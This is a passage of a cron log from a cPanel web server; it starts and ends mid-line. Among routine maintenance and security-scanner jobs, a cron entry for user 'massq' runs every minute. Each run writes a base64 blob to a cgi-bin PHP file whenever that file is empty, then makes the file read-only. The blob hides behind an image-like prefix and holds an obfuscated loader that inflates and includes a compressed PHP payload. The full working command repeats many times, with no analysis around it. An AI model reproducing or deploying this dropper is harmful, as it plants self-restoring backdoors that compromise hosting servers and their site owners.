luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:06:01 server CROND[21731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:06:01 server CROND[21732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:06:01 server CROND[21733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:07:01 server CROND[22135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:07:01 server CROND[22136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:07:01 server CROND[22138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:08:01 server CROND[22529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:08:01 server CROND[22531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:08:01 server CROND[22532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:09:01 server CROND[23087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:09:01 server CROND[23088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:09:01 server CROND[23089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:09:01 server CROND[23090]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 04:10:01 server CROND[23476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:10:01 server CROND[23478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:10:01 server CROND[23482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:10:01 server CROND[23481]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:10:01 server CROND[23485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:10:01 server CROND[23487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:10:01 server CROND[23483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:10:01 server CROND[23484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:11:01 server CROND[24404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:11:01 server CROND[24406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:11:01 server CROND[24405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:12:01 server CROND[24778]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:12:01 server CROND[24780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:12:01 server CROND[24781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:12:01 server CROND[24779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:13:01 server CROND[25158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:13:01 server CROND[25159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:13:01 server CROND[25160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:14:01 server CROND[25541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:14:01 server CROND[25542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:14:01 server CROND[25543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:15:01 server CROND[25937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:15:01 server CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:15:01 server CROND[25940]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 04:15:01 server CROND[25946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:15:01 server CROND[25947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:15:01 server CROND[25948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:15:01 server CROND[25945]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 04:15:01 server CROND[25943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:15:01 server CROND[25944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:16:01 server CROND[26919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:16:01 server CROND[26922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:16:01 server CROND[26921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:17:01 server CROND[27332]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  3 04:17:01 server CROND[27334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:17:01 server CROND[27331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:17:01 server CROND[27335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5